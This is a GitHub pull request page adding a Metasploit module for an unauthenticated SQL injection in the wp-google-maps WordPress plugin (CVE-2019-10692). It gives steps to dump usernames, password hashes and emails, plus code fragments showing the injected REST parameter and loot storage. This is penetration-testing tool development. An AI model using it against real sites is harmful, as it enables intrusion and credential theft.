Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add wp-google-maps unauthenticated SQL injection (CVE-2019-10692) #11698

Merged

Conversation

Synacktiv-contrib
Copy link

@Synacktiv-contrib Synacktiv-contrib commented Apr 8, 2019

This auxiliary module aims to exploit an unauthenticated SQL injection in the WordPress module wp-google-maps (CVE-2019-10692). The code is heavily based on auxiliary/admin/http/wp_symposium_sql_injection, but it may require some final tweaking :-)

Verification

  • Setup a WordPress instance (any version)
  • Install a vulnerable version of wp-google-maps (eg. 7.11.17) and enable it
  • msfconsole
  • use auxiliary/admin/http/wp_google_maps_sql_injection
  • set RHOST <ip>
  • check: it should say that the target is vulnerable
  • run: it should show the fields user_login, user_pass and user_email of the whole wp_users table

'uri' => normalize_uri(target_uri.path, '/wp-json/wpgmza/v1/markers/'),
'vars_get' => {
'filter' => '{}',
'fields' => sql_query,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

a very slight improvement would be to change this to "#{sql_query}-- -" so you don't need to pass the -- - each time

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done.

end

unless credentials.empty?
loot = store_loot("wp_google_maps.http","text/plain", rhost, credentials)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is most likely debatable, but I'd actually personally prefer storing body or even res here and calling it wp_google_maps.json with the appropriate ctype. Only because we have extra data (i believe) in the query that wasn't printed, may as well store it.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done.

private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: user['user_email']
}.merge(service_details)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Doesn't look like service_details was ever define?

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oops, done.

@Synacktiv-contrib
Copy link
Author

Thanks for the review @h00die 👍

@jrobles-r7 jrobles-r7 self-assigned this Apr 10, 2019
@jrobles-r7
Copy link
Contributor

PR opened Synacktiv-contrib#2

@jrobles-r7 jrobles-r7 merged commit 5559de2 into rapid7:master Apr 15, 2019
jrobles-r7 added a commit that referenced this pull request Apr 15, 2019
msjenkins-r7 pushed a commit that referenced this pull request Apr 15, 2019
@jrobles-r7
Copy link
Contributor

Release Notes

The wp_google_maps_sqli auxiliary module exploits a SQL injection in a REST endpoint registered by the WordPress plugin wp-google-maps from v7.11.00 through v7.11.17.

@tdoan-r7 tdoan-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 17, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants